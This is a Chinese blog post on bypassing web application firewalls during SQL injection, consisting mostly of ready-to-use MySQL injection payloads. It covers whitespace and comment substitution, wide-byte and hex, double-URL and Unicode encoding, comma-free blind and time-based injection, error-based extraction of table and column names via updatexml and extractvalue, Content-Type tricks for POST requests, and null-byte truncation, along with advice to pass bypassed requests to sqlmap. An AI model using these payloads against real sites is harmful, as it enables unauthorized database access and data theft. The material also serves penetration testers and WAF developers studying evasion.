Web攻防

SQL注入Bypass

2020-11-26  本文已影响0人  book4yi

前言:


Android App安全测试先告一段落,虽然感觉还有很多需要学习的地方,毕竟我主要还是对Web方向感兴趣,又回到最初的起点!


每种类型的数据库都允许使用空白字符。每个不同的RDBMS允许各种不同的空白字符,而不是通常的0x20。通过使用其他允许的空格字符切换标准空格,我们可以使某些防火墙无法识别注入,从而使我们能够有效地绕过它们

1、/**/、/*!*/、%09、%0a、%0b、%0c、%0d替代

id=-1'+/*!u%6eion*/+select+1,2,3%23

2、用注释符+换行符替代空格,比如:--%0a
3、用注释符+垃圾数据+换行符,比如:--zxczcasd/*asdasd*/%0a

id=1%27--%0aor--%0aupdatexml(1,concat(0x7e,(select--%0atable_name--%0afrom--%0ainformation_schema.tables--%0awhere--%0atable_schema=database()--%0alimit--%0a0,1),0x7e),1)%23

4、用托号绕过空格:
如果空格被过滤,括号没有被过滤,可以用括号绕过
在MySQL中,括号是用来包围子查询的。因此,任何可以计算出结果的语句,都可以用括号包围起来。而括号的两端,可以没有多余的空格

select(user())from dual where(1=1)and(2=2)

这种过滤方法常常用于time based盲注:

id=1'and(if(ascii(substr(database(),1,1))>97,sleep(5),1))%23
id=1'and(if(ascii(substr(database()from(1)for(1)))>97,sleep(5),1))%23
id=1'and(sleep(ascii(mid(database()from(1)for(1)))=109))%23

# from a for b:
从第a个字符开始读取,共读取b个字符

针对数字型注入,使用十六进制绕过或者宽字节绕过:

select column_name  from information_schema.tables where table_name=0x7573657273
id=1'+and+extractvalue(0x31,0x636F6E63617428307837652C2873656C6563742067726F75705F636F6E63617428636F6C756D6E5F6E616D65292066726F6D20696E666F726D6174696F6E5F736368656D612E636F6C756D6E73207768657265207461626C655F736368656D613D6461746162617365282920616E64207461626C655F6E616D653D27757365727327206C696D697420302C31292C3078376529)%23

id=-1%df%27 union select 1,user(),3--+
id=-1ý' union select 1,user(),3--+
id=-1%5c%5c%27 union select 1,user(),3--+  # 后面的 %5c 会被前面的 %5c 注释掉

一般产生宽字节注入的PHP函数:

1.replace():过滤 ' \ ,将 ' 转化为 ' ,将 \ 转为 \,将 " 转为 " 。用思路一
2.addslaches():返回在预定义字符之前添加反斜杠(\)的字符串。
预定义字符:( ' , " , \ )用思路一(防御此漏洞,要将 mysql_query 设置为 binary 的方式)
3.mysql_real_escape_string()


在使用盲注的时候,需要使用到substr(),mid(),limit。这些子句方法都需要使用到逗号。对于substr()和mid()这两个方法可以使用from to的方式来解决:

select substr(database() from 1 for 1);
select mid(database() from 1 for 1);

使用join:

union select 1,2     
#等价于
union select * from (select 1)a join (select 2)b

使用like:

select ascii(mid(user(),1,1))=114
#等价于
select user() like 'r%'

对于limit可以使用offset来绕过:

select * from news limit 0,1
# 等价于下面这条SQL语句
select * from news limit 1 offset 0

使用greatest()、least():(前者返回最大值,后者返回最小值)

# greatest(n1,n2,n3,...)函数返回输入参数(n1,n2,n3,...)的最大值
id=1 and greatest(ascii(substr(database(),0,1)),64)=64

sqlmap中使用between的脚本进行绕过

# 包含边界值
select * from users where id between 1 and 10

and=&&  or=||   xor=|   not=!

id=1'+%26%26+'1'='1

主要是想办法闭合后面的引号,使sql语句能够正常执行

id=1' union select 1,2,3||'1
id=1' union select 1,2,'3

<、>、<>绕过

id=!(id <> 1);    # 相当于id=1

like绕过:

% : 匹配0个或任意多个字符
_ : 匹配任意一个字符
escape : 转义字符,可匹配%和_。如SELECT * FROM table_name WHERE column_name LIKE '/%/_%_' ESCAPE'/'

rlike和REGEXP

rlike:模糊匹配,只要字段的值中存在要查找的 部分 就会被选择出来
regexp:MySQL中使用 REGEXP 操作符来进行正则表达式匹配

. : 匹配任意单个字符
* : 匹配0个或多个前一个得到的字符
[] : 匹配任意一个[]内的字符,[ab]*可匹配空串、a、b、或者由任意个a和b组成的字符串。
^ : 匹配开头,如^s匹配以s或者S开头的字符串。
$ : 匹配结尾,如s$匹配以s结尾的字符串。
{n} : 匹配前一个字符反复n次。

like是完全匹配。rlike和regexp是不完全匹配,只要不同时匹配^和 $, 其他的包含即可

between、strcmp绕过:

strcmp(str1,str2):若所有的字符串均相同,则返回STRCMP(),若根据当前分类次序,第一个参数小于第二个,则返回 -1,其它情况返回 1

select * from users where id between 1 and 1
id=1' and substr(database(),1,1) between 'a' and 'z'%23

select * from users where id = 1 and strcmp(ascii(substr(username,1,1)),117)
select strcmp(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)),117);

in 绕过:

id=1'+and+ascii(substr(database(),1,1))+in+('115')%23

双写绕过
大小写绕过
内联注释绕过:

id=0'+/*!union*//*!select*/+1,updatexml(1,concat(0x7e,(select+database())),1),3%23

针对POST请求,POST请求常用有2种参数提交方式:

Content-Type: application/x-www-form-urlencoded;
Content-Type: multipart/form-data;
Content-Type: text/plain

其中multipart/form-data表示数据被编码为一条消息,页上的每个控件对应消息中的一个部分

市场上大部分的WAF会解析这行 Content-Type 去识别是否是POST注入,因为要防止方法污染。所以我们就可以根据这个特性来设置不同的Content-Type利用尝试绕过WAF

绕过原理:

若Waf未能覆盖Content-Type: multipart/form-data从而导致被绕过。或者WAF会认为它是文件上传请求,从而只检测文件上传,导致被绕过

利用谷歌插件Request Maker进行测试:
原始请求:

修改Content-Type后,进行抓包:

如果发现可以成功绕过waf,直接将数据包丢进sqlmap跑即可:

争对Get请求同理,将Content-Type改成:application/x-www-form-urlencoded或者multipart/form-data

id=0' union select 1,updatexml(1,concat(0x7e,(select+database())),1),3#
# 将其进行url编码,等价于
id=%30%27%20%75%6e%69%6f%6e%20%73%65%6c%65%63%74%20%31%2c%75%70%64%61%74%65%78%6d%6c%28%31%2c%63%6f%6e%63%61%74%28%30%78%37%65%2c%28%73%65%6c%65%63%74%2b%64%61%74%61%62%61%73%65%28%29%29%29%2c%31%29%2c%33%23

对字符应用URL编码两次的过程。所需要的只是重新编码百分号。如果数据在通过防火墙之后和到达数据库之前被解码两次,则此编码成功

id=1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=concat(char(117),char(115),char(101),char(114),char(115)) limit 0,1),0x7e))#

UTF-8 编码表:https://www.utf8-chartable.de/

Unicode编码种类繁多,基于黑名单的过滤器存在无法处理的情况,从而实现绕过

# 常用的几个符号的一些Unicode编码:
单引号:%u0027、%u02b9、%u02bc、%u02c8、%u2032、%uff07、�'、�、�(%c0%27、%c0%a7%27、%e0%80%a7%27)
空格:%u0020、%uff00、� 、�、�(%c0%20、%c0%a0、%e0%80%a0)
左括号:%u0028、%uff08、�(、�、�(%c0%28、%c0%a8、%e0%80%a8)
右括号:%u0029、%uff09、�)、�、�(%c0%29、%c0%a9、%e0%80%a9)

id=1%u0027%u002b%u0061%u006e%u0064%u002b%u0031%u003d%u0031%u0023    #UTF-8
SELECT 'Ä'='A';
id=10%D6‘%20AND%2201=2%23

hex()、bin() ==> ascii()

sleep() ==>benchmark()

concat_ws()==>group_concat()

mid()、substr() ==> substring()

@@user ==> user()

@@datadir ==> datadir()

举例:substring()和substr()无法使用时:?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74 

或者:
substr((select 'password'),1,1) = 0x70
strcmp(left('password',1), 0x69) = 1
strcmp(left('password',1), 0x70) = 0
strcmp(left('password',1), 0x71) = -1
其他绕过技巧及思路:

id=-1' union select 1,2,3#  # 被拦截
id=-1%00' union select 1,2,3#    # 不拦截,同时可以对其进行url编码

原理是waf把空字节认为是结束导致了后面的语句可以绕过

Tips:针对有爆出sql语句且过滤了空格的注入,可以先fuzz一波,看是否能找到一个会被替换为空的字符

更多方法及技巧请参考:
SQL注入 | 9种绕过Web应用程序防火墙的方式

参考如下:


SQL注入绕过技巧
sql注入绕过方法总结
SQL注入的优化和绕过
某系统Oracle+盲注Bypass
技术讨论 | 在HTTP协议层面绕过WAF
实战绕过双重waf结合sqlmap tamper获取数据
web渗透测试中WAF绕过讲解(二)基于HTTP协议绕过

上一篇下一篇

猜你喜欢

热点阅读